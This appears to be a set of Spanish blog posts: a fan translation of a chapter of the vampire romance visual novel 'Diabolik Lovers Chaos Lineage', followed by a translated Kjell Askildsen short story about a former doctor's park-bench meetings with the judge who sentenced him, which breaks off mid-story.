#no se PORQUE tuve ese pensamiento..... fue una sorpresa y obviamente no lo hice. porque si es confundido para mi

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[andy-tsukinami]

Diabolik Lovers Chaos Lineage Subaru Sakamaki Capitulo 5

Como siempre agradezco a @kyouxa ( thank you sweetheart <3 ) por permitirme traducir la ruta de subaru al español, debo de decir que ame la CG es hermosa y me recuerda tanto al primer juego <3 pero bueno no digo nada más y a disfrutar. Bye Bye~~

Lugar: Mansión Violet - Cocina

Yui: ¿Qué pasa con los platos ya lavados, deberíamos secarlos?

Azusa: Así es ... Después de comer, definitivamente tenemos que limpiarlos ... Porque la comida puede secarse ...

Laito: Está bien si lo hacemos más tarde. Haa, estoy tan contento de que todo esto haya terminado ahora.

Kou: Siento que trabajé mucho más hoy que en los días habituales.

Quiero decir, ni siquiera tuve que lavar los platos porque Eva se hizo cargo de esto por mí. (Siempre diva nunca indiva :v)

Yui: Está bien. Estaba tan feliz con el estado de ánimo de hoy que quería ayudar sin importar qué.

Muchas gracias por celebrar la fiesta de bienvenida hoy.

Azusa: Sí, eres ... Bienvenida ...

Yui: Ah, por cierto. Las flores en las decoraciones de las servilletas eran realmente bonitas.

Azusa: Ah. Eso fue ... Algo que Subaru eligió para ti ...

Yui: ¿Eh, Subaru-kun?

Laito: Sí. También me sorprendió cuando dijo "Voy a decorar esto" de repente.

Kou: Eso es honestamente bastante raro. Para que Subaru-kun se preocupe por los sentimientos de los demás.

Yui: Eso es correcto ...

(¿Eso significa que él preparó esas flores solo para mí? Si es así, estoy muy feliz por eso ...)

Azusa: No es nada ... Pero estoy seguro ... Que hizo esto, porque se preocupa por Eva ...

Yui: Yo también lo creo. ¡Gracias por decírmelo!

Diré gracias a Subaru-kun más tarde hoy

(Subaru-kun, puede que realmente se preocupe más por mí de lo que pensé)

(... Si eso es realmente cierto, me siento muy feliz con la situación en este momento)

(Pensé que Subaru-kun sería una persona aterradora y fría como lo era cuando nos conocimos)

(Si la raíz no ha cambiado, puede haber una posibilidad de recuperar sus recuerdos fácilmente)

(Para seguir pensando en Subaru-kun como esto no está ayudando, definitivamente tengo que enfrentarlo en este momento ...)

Kou: ... ¿Eva? Eva ~?

Yui: Oh, lo siento. ¿Qué sucede?

Kou: Ehh, que grosero. ¿No escuchaste?

Yui: Parece que me estaba espaciando. Lo siento mucho.

Laito: Bueno, eso está bien.

De todos modos, terminé de hablar, pero como teníamos una fiesta de bienvenida para ti, obviamente puedes darnos algo a cambio, ¿Verdad?

Yui: Eh ...

Kou: ¿No es el mundo acerca de dar y recibir en primer lugar? Sería muy dulce si realmente estás pensando en darnos las gracias a cambio

Yui: Kou-kun, Laito-kun ...

Kou: Hoy comí mucho arroz delicioso, y esta vez quiero terminar este día con un postre satisfactorio.

Laito: Nfu, si nos das muchos nutrientes, la sangre seguramente será aún más deliciosa de lo habitual.

Incluso si Carla dijo que tu sangre es mala.

Creo que ahora está un poco más deliciosa ... Al menos huele bastante bien.

Yui: No, la verdadera razón para tener una fiesta de bienvenida ...

Kou: Por eso se trata de dar y recibir.

Laito: Sí, te estabas divirtiendo y ahora es nuestro turno.

Yui: (Esta fiesta de bienvenida no fue para darme la bienvenida, fue solo una oportunidad para que me chuparan la sangre ...)

(Como todavía me necesitan como Eva, ya sospechaba de toda esta fiesta)

(Pero hacer que lo pongan de esta manera me sorprende aún más de lo que esperaba)

*Laito agarra a Yui*

Laito: Ahora, ¿Estás lista?

Kou: ¡Tengamos una buena comida!

Yui: No ...

Azusa: Ambos deberían detenerse ... Carla dijo que él es el único que podría chupar su sangre ...

Creo que tu comportamiento violento no es bueno ... Obviamente estás asustando a Eva...

Kou: Heh, Azusa-kun, ¿Nos estás interrumpiendo?

Laito: No es que él sea el único al que pertenece esta mujer. No se puede evitar en esta situación.

Yui: (Gracias a Azusa-kun, ¿Laito y Kou-kun desviaron su atención de mí ...?)

(Es posible que pueda escapar de esta situación. Pero si lo hago, ¿a dónde debo ir?)

Azusa: Eva, seguramente estarás a salvo al lado de Subaru ...

En este momento fue llamado por Carla, por lo que debería estar en la habitación de Carla.

Yui: S-Sí ¡Gracias Azusa-kun!

*Yui escapa* 

Lugar: Mansión Violet - Corredor

Yui: (Subaru-kun...! Necesito encontrar a Subaru-kun pronto...!)

Subaru: .....

Yui: ¡Ah! Oye, ¡Subaru-kun! ¡Por favor ayúdame...!

Subaru: ... ¿Que pasa? Eres muy ruidosa.

Yui: ...Nh, yo um... Lo siento por gritar...

Pero mientras  limpiaba la cocina, Laito y Kou-kun de repente querían atacarme para beber mi sangre...

Por eso pensé que Subaru-kun podría ayudarme... 

Subaru: ¿¡Qu-!? Esos tipos... De todos modos, apurémonos y vayamos a mi habitación.

Yui: G-gracias.

Lugar: Mansión Violet - Habitación de Subaru

Subaru: Rayos, esto es exactamente de lo que te advertí. Te dije que esos tipos te apuntaban y lo notaste demasiado tarde.

Aun así, incluso actuaron felices y sonrieron a tu alrededor con los preparativos y la fiesta de bienvenida.

Esos tipos solo querían engañarte y usarte para sus propios beneficios, nada más.

Yui: ... Sí, eso puede ser cierto.

Realmente pensé que finalmente me dieron la bienvenida en esta casa porque soy Eva.

Aún así, estaba muy feliz de que hicieran una fiesta de bienvenida. Sentí que me aceptarían ...

Subaru: ...

Yui: ... Por cierto, ¿Pusiste esas flores en mi servilleta?

Cuando vi eso, sentí que estaba hospitalizada.

Subaru: ¿Es eso así?

Yui: También escuché que Subaru-kun fue quien recogió esas flores para mí.

Estaba tan feliz de que hicieras esto por mi bien. Gracias.

Subaru: Está bien. No quiero que me digas gracias.

Yui: Pero aún así. Realmente quiero apreciar lo que hiciste por mí porque es algo que probablemente no harías normalmente, ¿Verdad?

Esas flores, ¿Las recogiste para que me hiciera sentir más cómoda contigo?

Subaru: ¿Ha? ¿Por qué piensas eso?

Yui: Porque pensé que era poco probable que Subaru-kun hiciera algo como recoger flores para alguien desconocida como yo.

Quiero que honestamente me digas por qué decidiste recoger esas flores para mí.

Subaru: ... Ngh

Yui: (¿También quería chuparme la sangre? Si es así, estoy muy triste ...)

(¿O tal vez me estaba recordando en algún lugar de sus viejos recuerdos?)

*Subaru se sonroja*

Subaru: Eso es, eso ... ¡Ese no es el caso en absoluto!

Yui: ¿Subaru-kun ...?

Subaru: No tenía la idea de querer chuparte la sangre a cambio o lo que sea.

No voy a hacer nada como esos otros tipos. Pero es posible que no lo creas.

—– Opciones —–

❤️Creer en Subaru-kun

Yui: Eso no es cierto. Realmente creo en las palabras de Subaru-kun

Subaru: Tú ... ¿No estás confiando en la gente demasiado rápido? ¿No deberías ser un poco sospechosa?

Yui: ... Confío en ti, porque sé que Subaru-kun no parece ser una persona que miente.

Subaru-kun siempre ha estado actuando gruñón desde la fiesta en primer lugar.

¿Te diste cuenta de que los demás intentaban consolarme, hacer que mi sangre fuera aún más deliciosa y dulce?

Subaru: ... No lo hice. 

❌Quiero creer en Subaru-kun

Yui: Realmente quiero creer en Subaru-kun

Subaru: ¿Quieres, eh? En otras palabras, ¿Eso significa que sospechas de mis acciones?

Yui: No! Eso no significa que ...

Aunque no lo recuerdes, Subaru-kun es más probable que sea el tipo de persona gruñona ...

¿Todos cambiaron su personalidad durante la fiesta de bienvenida porque intentaban hacer que mi sangre fuera aún más deliciosa?

Subaru: ... Lo hicieron, y yo estaba al tanto de eso. 

—– Fin las Opciones —–

Yui: (Esta es ciertamente la reacción que esperaba ...)

... Gracias, Subaru-kun

Subaru: No hice nada por lo que debieras estar agradecida.

Yui: Fue una gran sorpresa que todos pensaran en la fiesta de bienvenida de una manera diferente ...

Creo que las flores que Subaru-kun recogió para mí fueron recogidas con amor y cuidado.

Subaru: ... Tch

No estás demasiado abrumada por un gesto tan extraño, ¿Verdad?

Yui: ¿No lo creo? Pero debo admitir que estaba realmente feliz.

Subaru: ... He estado chupando tu sangre por la fuerza durante ese tiempo.

Creo ... Que lo que hice en ese entonces fue malo

Yui: Subaru-kun ...

Subaru: En ese momento, estaba bastante frustrado al ver que Carla era el que te chupaba la sangre.

No, no es solo Carla. Es la sensación general de los ojos sedientos de sangre de todos cuando te miran.

De alguna manera, me estoy enojando con ellos.

Siempre ha sido el caso. No sé por qué, pero me siento frustrado cuando veo que alguien más te toca.

Yui: Subaru-kun, eso es ...

Subaru: Sé que esto podría molestarte.

Yui: ... Ese no es el caso

¿Podría ser que estás haciendo esto porque Subaru-kun realmente se preocupa por mí.

(No creo que se acuerde de nosotros siendo amantes, ¿Pero tal vez todavía tiene pensamientos de mí en su corazón?)

(Si eso es cierto, sería muy feliz)

Subaru: ¿Qué pasa con esa cara feliz ahora?

Si eso es lo que quieres decir, ¡Hay muchas oportunidades para mí ahora!

*Subaru empuja a Yui*

(OMG <3<3<3<3<3<3¡¡¡¡)

Yui: Su ... Subaru-kun ...!

Subaru: Tú ... tienes un poco más de precaución. No permitiré que te toque ningún otro hombre como este.

Así ... tú, como humano e incluso como mujer, puedes ser atrapada por nosotros y no escapar más fácilmente, ¿Entiendes?

Yui: Ah ...

(¡La respiración de Subaru-kun toca directamente mi cuello ...!)

Subaru: Si realmente tienes curiosidad, sería una forma fácil de chuparte la sangre ahora. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 🌹 Rosas 🌹  

Si tocas la cabeza de Yui: Tch ... Por qué esta mierda es tan problemática para mí ... No lo entiendo ... Por qué estoy tan frustrado incluso si no me importas ... Por qué ...

Si tocas el brazo de Subaru: Mira ... ¿Qué pasa ahora? En este tipo de posición ya no podrás resistirte a mí. No podrás luchar hasta que te pierdas totalmente y te desmayes.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Subaru: Oye, ¿Tienes miedo?

Yui: ... No, no tengo miedo.

Subaru: ¿Ha? Tú ... De qué estás hablando ...

Yui: Si es Subaru-kun, no hay razón para tener miedo.

Subaru: Nh ...

¡Estas loca! ¿No sabes que podría enojarme por esa respuesta y realmente poner mis colmillos en tu piel?

Yui: Si es así, tampoco me da mucho miedo.

Subaru: ... Entonces te haré saber cómo te sentirás. Te haré recordar el miedo que siente tu cuerpo ... Ahh ... 

Yui: Ah ...

(¡Los colmillos de Subaru-kun están perforando mi cuello ...! Realmente está chupando mi sangre ...)

Subaru: Nh ... Nn ... Haa

Yui: (... Pero todavía no tengo miedo)

(Solo tenía miedo la primera vez que vine a este lugar extraño)

(Pero a pesar de que Subaru-kun parece chuparme la sangre con mucha violencia ...)

(Siento que realmente se preocupa por mí y lo amable que es conmigo)

Subaru: ... Nh ... Nn ... Haa ... ¿Cómo está? ¿Lo sentiste ahora?

Yui: Sí, pero no tengo miedo después de todo ...

(En lugar de tener miedo, mi corazón late muy rápido y debo admitir que se siente bien ...)

(Después de todo, realmente amo a Subaru-kun ...)

Oye, mientras sea Subaru-kun, estoy bien, incluso si me chupas la sangre bruscamente.

Subaru: ... Tch. ¿¡Qué estas diciendo!? Eres realmente estúpida.

Solo estaba chupando tu sangre porque quería que tuvieras miedo de acercarte a ellos.

... Así que no digas eso, detenlo.

Yui: No, eso es ...

Subaru: ... Ngh

Yui: ... ¿Eh? Que pasa

Subaru: Ah, no ... No es nada.

Yui: ¿En serio? Pero estás sosteniendo tu cabeza ... Se ve mal. Por favor, no exageres nada, Subaru-kun

*Subaru abraza a Yui*

Subaru: ...

Yui: (Como me abrazaron sin querer, pensé que iba a rechazar mis sentimientos)

(Pero parece que me ha aceptado. Incluso enterró su cara en mi pecho para consentirme) 

 —— Monólogo ——

Subaru-kun, prometió protegerme.

Parece que podemos volver a confiar el uno en el otro, y eso me hace sentir feliz.

Puede ser solo por ahora, pero se siente como si estuviéramos en una buena forma de regresar a ser amantes.

Espero que Subaru-kun pueda recuperar sus recuerdos y podamos volver a nuestra relación original---

Mientras rezaba para que esto se hiciera realidad, estaba abrazando a Subaru-kun suavemente. 

—— Fin del Monólogo ——

[cuadernodeliteratura]

«Un repentino pensamiento liberador», Kjell Askildsen.

Vivo en un sótano; lo cual es, se vea como se vea, resultado de que todo me ha ido cuesta abajo. El cuarto no tiene más que una ventana, y sólo la parte superior de esta se encuentra por encima de la acera; eso hace que vea el mundo exterior desde abajo. No es un mundo grande, pero a menudo tengo la sensación de que es lo suficientemente grande. Sólo veo las piernas y la parte inferior del cuerpo de los que pasan por delante de mi ventana, pero después de llevar cuatro años viviendo aquí, sé en la mayoría de los casos a quién pertenecen esos cuerpos y esas piernas. Eso se debe a que por este lugar hay poco tránsito; vivo casi al final de un callejón sin salida. Soy un hombre parco en palabras, pero, no obstante, de vez en cuando hablo conmigo mismo. Lo que digo en esas ocasiones son cosas que me parece necesario decir. Un día que estaba junto a la ventana y acababa de ver pasar la parte inferior del cuerpo del propietario del inmueble, me sentí de repente tan solo que decidí salir a la calle. Me puse los zapatos y el abrigo, y me metí las gafas para leer en el bolsillo, por si acaso. Luego salí. La ventaja de vivir en un sótano es que subes cuando estás descansado y bajas cuando llegas cansado a casa. Creo que es la única ventaja. Era un caluroso día de verano. Fui hasta el jardín próximo al ya desaparecido parque de bomberos, donde suelo poder sentarme en paz. Pero apenas me hube sentado, apareció un vejestorio de mi edad. Se sentó a mi lado, aunque había muchos bancos libres. Bien es cierto que había salido a la calle porque me sentía solo, pero no con la intención de hablar, sino sólo para cambiar de ambiente. Estaba cada vez más nervioso por si me decía algo, incluso pensé en levantarme y marcharme, pero adónde iba a ir, si era ese el lugar al que me había dirigido. Sin embargo el hombre no dijo nada, lo cual me pareció tan amable por su parte que sentí una predisposición positiva hacia él. Intenté incluso mirarlo, sin que se diera cuenta, claro. Pero se dio cuenta, porque dijo: —Tiene que perdonarme por decírselo, pero me senté aquí porque creí que me iba a dejar en paz. Si usted lo desea, puedo cambiarme de sitio. —Quédese —contesté, bastante perplejo. Obviamente no hice más intentos de mirarlo, me asaltó un profundísimo respeto por él. Y aún más respeto por mí mismo. No le hablé. Sentía algo raro por dentro, como una no—soledad, una especie de bienestar. Se quedó en el banco una media hora, luego se levantó con algo de esfuerzo, se volvió hacia mí y dijo: —Adiós y gracias. —Adiós. Y se marchó, con pasos extraordinariamente largos y los brazos ligeramente separados del cuerpo, como un sonámbulo. Al día siguiente a la misma hora..., no, un poco antes, volví al parque. Después de todas las reflexiones y especulaciones que me había hecho sobre él, me resultaba en cierto modo natural; apenas fue una elección libre, signifique lo que signifique ese concepto. Lo vi llegar, y lo reconocí a mucha distancia por su manera de andar. También ese día había más bancos libres, y me pregunté con cierto interés si se sentaría en el mío. Huelga decir que me puse a mirar hacia otro lado, fingiendo no haberlo visto, y cuando se sentó, aparentemente ni me fijé en él. Al parecer, él tampoco se fijó en mí; era una situación poco usual, una especie de no—encuentro no planificado. He de admitir que no sabía muy bien si quería que él dijera algo o no, y al cabo de media hora seguía sin saber si debía marcharme en primer lugar o esperar a que lo hiciera él. No es que fuera una duda incómoda, pues yo podía, en cualquier caso, quedarme sentado. Pero por alguna razón se me ocurrió que él me tenía agarrado, y por eso la decisión me resultó fácil. Me levanté, lo miré por primera vez y dije: —Adiós. —Adiós —contestó mirándome a los ojos. No había nada criticable en su mirada. Me marché, y mientras me alejaba, no podía dejar de preguntarme cómo calificaría él mi manera de andar, y en ese mismo momento tuve la sensación de que mi cuerpo se entumecía y mis pasos se volvían rígidos y entrecortados. Eso me irritó, he de admitirlo. Aquella noche, mirando por la ventana —no había gran cosa que mirar— pensé que si él llegaba al día siguiente, yo diría algo. Incluso pensé en lo que diría, cómo iniciaría aquello que posiblemente se convertiría en un diálogo. Esperaría como un cuarto de hora, y luego diría, sin mirarlo: «Ya es hora de que hablemos». Nada más que eso. Así él podría responder o no, y si no respondía, me levantaría y diría: «En el futuro, preferiría que se sentara usted en otro banco». Pensé muchas otras cosas también aquella noche, cosas que diría si llegábamos a entablar conversación, pero deseché casi todo por poco interesante o demasiado anodino. A la mañana siguiente, me sentía alterado e inseguro, incluso se me pasó por la cabeza la idea de quedarme en casa. Rechacé tajantemente la decisión de la noche anterior, si iba al parque no diría nada. Fui, y él acudió. No lo miré. De repente se me ocurrió que era extraño que siempre llegara menos de cinco minutos después que yo. Era como si me estuviera vigilando. Sí, sí, pensé, claro que sí. Vive al lado del parque de bomberos, me ve desde una ventana. No me dio tiempo a especular más al respecto, porque de repente el otro empezó a hablar. Lo que dijo, me hizo sentirme bastante mal, lo confieso. —Perdone —dijo—, pero si no tiene nada en contra, tal vez sea ya hora de que hablemos. No contesté inmediatamente, luego dije: —Tal vez. Si es que hay algo que decir. —¿No sabe si hay algo que decir? —Probablemente soy mayor que usted. —No lo descarto. No dije nada más. Sentí por dentro una desagradable inquietud relacionada con ese extraño cambio de papeles que había tenido lugar. Era él quien había iniciado la conversación y prácticamente con mis propias palabras, y fui yo quien contestó del modo en que me había imaginado que lo haría él. Fue como si yo pudiera haber sido él y él igualmente pudiera haber sido yo. Resultaba incómodo. Tenía ganas de marcharme. Pero como casi me había visto forzado, por así decirlo, a identificarme con él, me resultó difícil herirlo, o incluso ofenderlo. Transcurrió tal vez un minuto, entonces dijo: —Tengo ochenta y tres. —Entonces tenía yo razón. Transcurrió otro minuto. —¿Juega usted al ajedrez? —preguntó. —Hace mucho que no. —Ya casi nadie juega al ajedrez. Todos aquellos con los que jugaba al ajedrez han muerto. —Hace al menos quince años —dije. —El último murió este invierno. Aunque en realidad, él en concreto no supuso una gran pérdida, se había vuelto bastante memo. Le ganaba siempre tras menos de veinte movimientos. Pero le proporcionaba cierto placer, creo que fue el último placer que tuvo. Tal vez usted lo conociera. —No —me apresuré a contestar—, no lo conocía. —¿Cómo puede saberlo, si... ? Bueno, el cómo puede saberlo es asunto suyo. En eso estaba totalmente de acuerdo, y me entraron ganas de decírselo, pero ganó puntos por no haber terminado la pregunta. Noté que se volvía y me miraba. Siguió así un buen rato, me resultaba incómodo, de modo que saqué las gafas del bolsillo del abrigo y me las puse. Todo desapareció ante mis ojos: los árboles, las casas, los bancos, todo se esfumó en una neblina. —¿Es usted miope? —preguntó al cabo de un rato. —No —contesté—, al contrario. —Quiero decir..., ¿necesita usted gafas para ver de lejos? —No, al contrario. El problema lo tengo con lo que está cerca. —Ajá. No dije nada más. Entonces me di cuenta de que había apartado la mirada, así que me quité las gafas y volví a metérmelas en el bolsillo del abrigo. Él tampoco dijo nada más, de modo que cuando me pareció que había transcurrido un tiempo prudente, me levanté y dije cortésmente: —Gracias por la conversación. Hasta la vista. —Hasta la vista. Ese día me alejé con pasos más firmes, pero cuando llegué a casa y me hube tranquilizado, me precipité de nuevo a planificar mi siguiente encuentro con él. Daba vueltas por la habitación ideando una serie de absurdos, y también alguna que otra sutileza; es cierto que me sentía un poco superior a él, aunque, al fin y al cabo, lo consideraba mi igual. Aquella noche no dormí bien. Cuando todavía era lo suficientemente joven como para creer que el futuro podía depararme sorpresas, de vez en cuando dormía mal, pero de eso hace mucho tiempo, fue antes de tener claro, completamente claro, que el día de la muerte nada importa haber tenido una vida buena o mala. De modo que el hecho de no haber dormido bien aquella noche me inquietaba y me sorprendía. No había comido nada que hubiera podido causarme insomnio, sólo un par de patatas cocidas y una lata de sardinas; con eso había dormido perfectamente muchas veces antes. Al día siguiente, él no llegó hasta que hubo transcurrido casi un cuarto de hora. Yo había empezado a perder la esperanza, era un sentimiento poco usual el de tener esperanza que perder. Pero entonces llegó. —Buenos días —dijo. —Buenos días. Y no dijimos nada más en un buen rato. Yo sabía muy bien qué decir si la pausa se hacía demasiado larga, pero preferí que él hablara primero, y así fue: —¿Su mujer... vive todavía? —No, hace mucho que ya no vive, más bien la he olvidado. ¿Y la suya? —Hace dos años. Hoy. —Ah. Entonces hoy es una especie de día de luto. —Bueno. Con la pena ya no se puede hacer nada. Pero no lo conmemoro yendo a visitar su tumba, si es a lo que se refiere. Las tumbas son una mierda. Perdone. No han sido palabras muy decorosas. No contesté. —Perdone —repiti6—, tal vez le haya ofendido, no ha sido mi intención. —No me ha ofendido. —Bien. Podría usted haber sido religioso. Yo tenía una hermana que creía en la vida eterna. ¿No le parece el colmo de la vanidad? De nuevo se me ocurrió pensar que aquel hombre estaba recitando mis propias frases, y por un instante fui lo suficientemente necio como para pensar que todo era una invención mía, que él no existía, que en realidad estaba hablando conmigo mismo. Y supongo que fue esa necedad la que me llevó a hacerle una pregunta completamente irreflexiva: —¿Quién es usted realmente? Por fortuna, no respondió enseguida, de modo que tuve tiempo para repararlo un poco: —No, lo ha entendido mal. En realidad no le estaba hablando a usted. Sólo fue algo que se me ocurrió. Noté que me miraba, pero esta vez no saqué las gafas. Dije: —Por otra parte, no quiero que crea usted que tengo por costumbre hacer preguntas que no tienen respuesta. Continuamos callados. No era un silencio sereno; tenía ganas de marcharme. Dentro de dos minutos, pensé; si no ha dicho nada en dos minutos, me iré. Y me puse a contar los segundos para mis adentros. Él no dijo nada, y yo me levanté justo a los dos minutos. También él se levantó en ese momento. —Gracias por la conversación —dije. —Lo mismo digo. Sólo falta que quiera usted jugar al ajedrez. —No creo que le proporcionara mucho placer. Además, sus adversarios tienen por costumbre morir. —Ya, ya —contestó, de pronto parecía ausente. —Hasta la vista —dije. —Hasta la vista. Aquel día me encontraba más cansado que de costumbre al llegar a casa. Tuve que tumbarme en la cama. Al cabo de un rato dije en voz alta: «Yo soy viejo. Y la vida es larga». Cuando me desperté a la mañana siguiente estaba lloviendo. Sería demasiado suave decir que me sentí decepcionado. Pero como el día avanzaba y la lluvia no cesaba, vi claro que tendría que ir al parque, pasara lo que pasara. No podía hacer otra cosa. No es que me importara que él acudiera o no; no era eso. Sólo que si él llegaba, yo quería estar, tenía que estar. Y cuando me senté en el banco mojado bajo la lluvia, incluso tenía la esperanza de que no acudiría; había algo revelador, algo descarado en estar sentado en un parque completamente solo bajo la lluvia. Pero él acudió. ¡Ya lo sabía yo! A diferencia de mí, llevaba un impermeable negro que le llegaba casi hasta los pies. Se sentó. —Desafía usted al mal tiempo —dijo. Obviamente lo dijo como un simple comentario, pero debido a lo que yo estaba pensando justo antes de llegar él, me pareció un comentario un poco impertinente, de modo que no contesté. Noté que me había puesto de mal humor y que me arrepentía de haber ido. Además, empecé a mojarme, el abrigo me pesaba, había algo ridículo en estar allí sentado, por eso dije: —Sólo salí a tomar un poco el aire, pero me he cansado. Soy un hombre viejo —y añadí, para que no se imaginara nada—: uno tiene sus costumbres fijas. Él no dijo nada, y eso, por irracional que pueda parecer, me resultó provocador. Y lo que dijo por fin, tras una larga pausa, no contribuyó precisamente a suavizarme. —A usted no le gustan mucho las personas, ¿o me equivoco? —¿Gustarme las personas? —contesté—. ¿Qué quiere decir con eso? —Bueno, son cosas que se dicen. No ha sido mi intención importunarle. —Claro que no me gustan las personas. Y claro que me gustan las personas. Todavía si me hubiera preguntado si me gustan los gatos o las cabras, o las mariposas, si quiere..., pero las personas. Da lo mismo, porque conozco a muy pocas. Me arrepentí inmediatamente de la última frase, pero por suerte él no reparó en ella. —Vaya, vaya —dijo—. ¡Cabras y mariposas! Lo oí sonreír. Tuve que admitir que me había mostrado innecesariamente negativo, de modo que dije: —Si quiere usted una respuesta general a una pregunta general, entonces le diré que me gustan las cabras y las mariposas mucho más de lo que me gustan las personas. —Gracias, he captado hace mucho lo que quería decir. Procuraré ser más preciso la próxima vez que me atreva a preguntarle algo. Lo dijo amablemente, y no exagero si digo que me arrepentí, aunque era el mal humor lo que me había vuelto tan contumaz. Y porque me arrepentí, dije algo de lo que también me arrepentí enseguida. —Perdone, pero ya casi sólo me quedan las palabras. Perdone. —En absoluto. La culpa es mía. Debería haber pensado en quién es usted. Me sobresalté. ¿Sabía él quién era yo? ¿Iba todos los días allí porque sabía quién era yo? No lo pude remediar, me puse tan nervioso e inseguro que automáticamente metí la mano en el bolsillo del abrigo en busca de las gafas. —¿Qué quiere decir? —pregunté—. ¿Me conoce? —Sí. Aunque conocer... lo que se dice conocer, no. Nos hemos visto antes. No me di cuenta la primera vez que me senté en este banco. Pero poco a poco he ido descubriendo que lo había visto antes, aunque no logré situarlo hasta ayer. Dijo usted algo y, de repente, lo reconocí. Pero ¿no se acuerda de mí? Me levanté. —No. Lo miré fijamente. No sabía si lo había visto alguna vez. —Soy... fui su juez. —Usted, usted... No pude decir nada más. —Siéntese, por favor. —Estoy mojado. Ah sí. Fue usted... Fue usted el... Bueno, adiós, tengo que irme. Me marché. No fue una salida muy digna, pero me sentía estremecido, anduve más deprisa de lo que lo había hecho en muchos años, y cuando llegué a casa, apenas tuve fuerzas para quitarme el abrigo empapado antes de tirarme en la cama. Tenía fuertes palpitaciones y decidí no volver al parque nunca más. Pero cuando mi pulso volvió a palpitar de un modo normal, también empezaron a hacerla mis pensamientos. Acepté mi reacción, algo oculto había vuelto a emerger a la luz, me habían pillado por sorpresa, eso era todo. Era comprensible. Me levanté de la cama, y puedo, con cierta satisfacción, afirmar que había recobrado del todo mi propio yo. Me puse bajo la ventana y dije en voz alta: «Él volverá a verme». Al día siguiente hacía buen tiempo, lo cual fue un alivio, y el abrigo estaba prácticamente seco. Fui al parque a la misma hora que de costumbre, él no debía notar ninguna irregularidad en mí que le hiciera pensar que me llevaba ventaja. Pero cuando me acerqué al banco, ya estaba allí. Así que era él quien mostraba una conducta irregular. —Buenos días —dijo. —Buenos días —contesté mientras me sentaba, y como para coger el toro por los cuernos, añadí enseguida: —Pensé que tal vez no vendría usted hoy. —Bravo —dijo—. Uno cero para usted. Esa respuesta me satisfizo; él era mi igual. —¿Se sentía usted a menudo culpable? —pregunté. —No entiendo. —¿Se sentía a menudo culpable como juez? Pues era su profesión el adjudicar a otros la suma necesaria de culpa, ¿no? —Mi profesión era dictaminar la culpabilidad basándome en la evaluación de otras personas. —¿Intenta usted disculparse? No es necesario. —No me sentía culpable. Pero, en cambio, me sentía a menudo a merced de la inflexibilidad de la ley, como en su caso. —Sí, porque usted no es supersticioso. Me miró. —¿Qué quiere decir ahora? —preguntó. —Sólo los supersticiosos opinan que la misión de un médico es prolongar el sufrimiento de seres marcados por la muerte. —Ya, ahora entiendo. ¿Pero no le da miedo que se pueda abusar de la legalización de la eutanasia? —Por supuesto que no se puede abusar de una legalización. Porque entonces la eutanasia ya no sería eutanasia, sino asesinato. No contestó. Lo miré de reojo. Tenía una expresión hosca, impenetrable. No me importaba. Bien es verdad que no sabía si su hosquedad se debía a algo que yo había dicho, o si simplemente era así; no podía saberlo, pues no lo había mirado prácticamente nunca. En ese momento me entraron ganas de recuperar lo perdido y escudriñarlo, y lo hice sin disimulo, volví la cabeza y miré fijamente su perfil; eso era lo menos que me podía permitir ante aquel hombre que me había condenado a varios años de cárcel. Incluso saqué las gafas del bolsillo del abrigo y me las puse; no hacía falta, lo veía bien sin ellas, pero sentí un repentino deseo de provocarlo. Era algo tan impropio de mí mirar con tanto descaro a una persona que por un instante me sentí ajeno a mí mismo; era una sensación rara, pero en absoluto desagradable. Y el romper con mi habitual conducta tuvo un sorprendente efecto de contagio. Me reí por primera vez en muchos años; seguramente suena horrible. Y él dijo, sin mirarme, pero en un tono brusco: —No me importa de qué se está riendo, pero no parece que se esté divirtiendo, y es una pena, pues, por lo demás, es usted una persona sensata. Me sentí inmediatamente más indulgente y, además, un poco avergonzado. Aparté mi mirada de su perfil enfadado y dije. —Tiene usted razón. No ha sido una risa buena. No quise darle más. Permanecimos callados; pensé en mi vida miserable y me puse melancólico. Me imaginé el hogar del juez, con cómodos sillones y grandes bibliotecas. —Tendrá usted ama de llaves, ¿no? —Sí. ¿Por qué me lo pregunta? —Simplemente intento imaginarme la vida de un juez retirado. —Ah bueno, no es gran cosa. Inactividad, ¿sabe usted?, días largos y pasivos. —Sí, el tiempo no quiere moverse. —Y es lo único que queda. —Ese tiempo que se hace demasiado largo, tal vez lleno de enfermedad, que lo hace aún más largo, y luego se acaba. Y cuando por fin llegamos a ese punto pensamos: qué vida más absurda. —Bueno, absurda... —Absurda. No contestó. Ninguno de los dos dijimos nada más. Al cabo de un rato me levanté. A pesar de la soledad que sentía, no quería compartir con él mi tristeza. —Adiós —dije. —Adiós, doctor. La tristeza produce sentimentalismo, y la palabra doctor, sin atisbo de ironía, me alcanzó como una ola de calor. Me di rápidamente vuelta y me alejé muy deprisa. Allí y en ese momento supe que iba a morir. No estaba sorprendido. Como máximo, estaba sorprendido de no estar sorprendido. Y de repente me habían abandonado la tristeza y el sentimentalismo. Aminoré el paso. Necesitaba por dentro una serenidad que exigía lentitud. Al llegar a casa, aún con una lúcida serenidad por dentro, saqué papel de escribir y un sobre. En el sobre escribí: «Al juez que me condenó». Luego me senté junto a la pequeña mesa en la que suelo comer, y empecé a escribir esta historia. Hoy he ido al parque por última vez. Estaba de un humor extraño, casi arrogante. Tal vez se debía a ese inusual placer que había sentido al poner palabras a mis anteriores encuentros con el juez, o tal vez a que no había dudado ni un instante de mi decisión. También hoy él estaba allí sentado cuando llegué. Parecía atormentado. Lo saludé con más amabilidad que de costumbre, me resultó completamente natural. Me miró, como para averiguar si lo decía en serio. —Bueno —dijo—, ¿tiene usted mejor día hoy? —Pues sí, hoy tengo un buen día. ¿Y usted? —Gracias, razonablemente bueno. Entonces, ¿ya no opina que la vida es absurda? —Ah sí, completamente absurda. —Hum. Yo no habría podido vivir con un conocimiento de ese tipo. —Bueno, se olvida usted del instinto de conservación, es un instinto duro de roer que ha destrozado muchas decisiones sensatas. No contestó. Yo no pensaba quedarme mucho tiempo, de modo que tras una breve pausa dije: —Ya no volveremos a vernos. He venido a despedirme. —¿Ah sí? Qué pena. ¿Se va de viaje? —Sí. —¿Y no va a volver? —No. —Hum. Bueno. Espero que no le parezca inoportuno que le diga que echaré de menos nuestros encuentros aquí. —Es muy amable por su parte. —El tiempo será más largo. —Hay hombres solitarios sentados en muchos otros bancos. —Bueno, usted entiende muy bien a lo que me refiero. ¿Puedo preguntarle adónde va? Alguien dijo que la persona que sabe que va a morir en un plazo de veinticuatro horas se siente libre para hacer lo que sea, pero eso no es 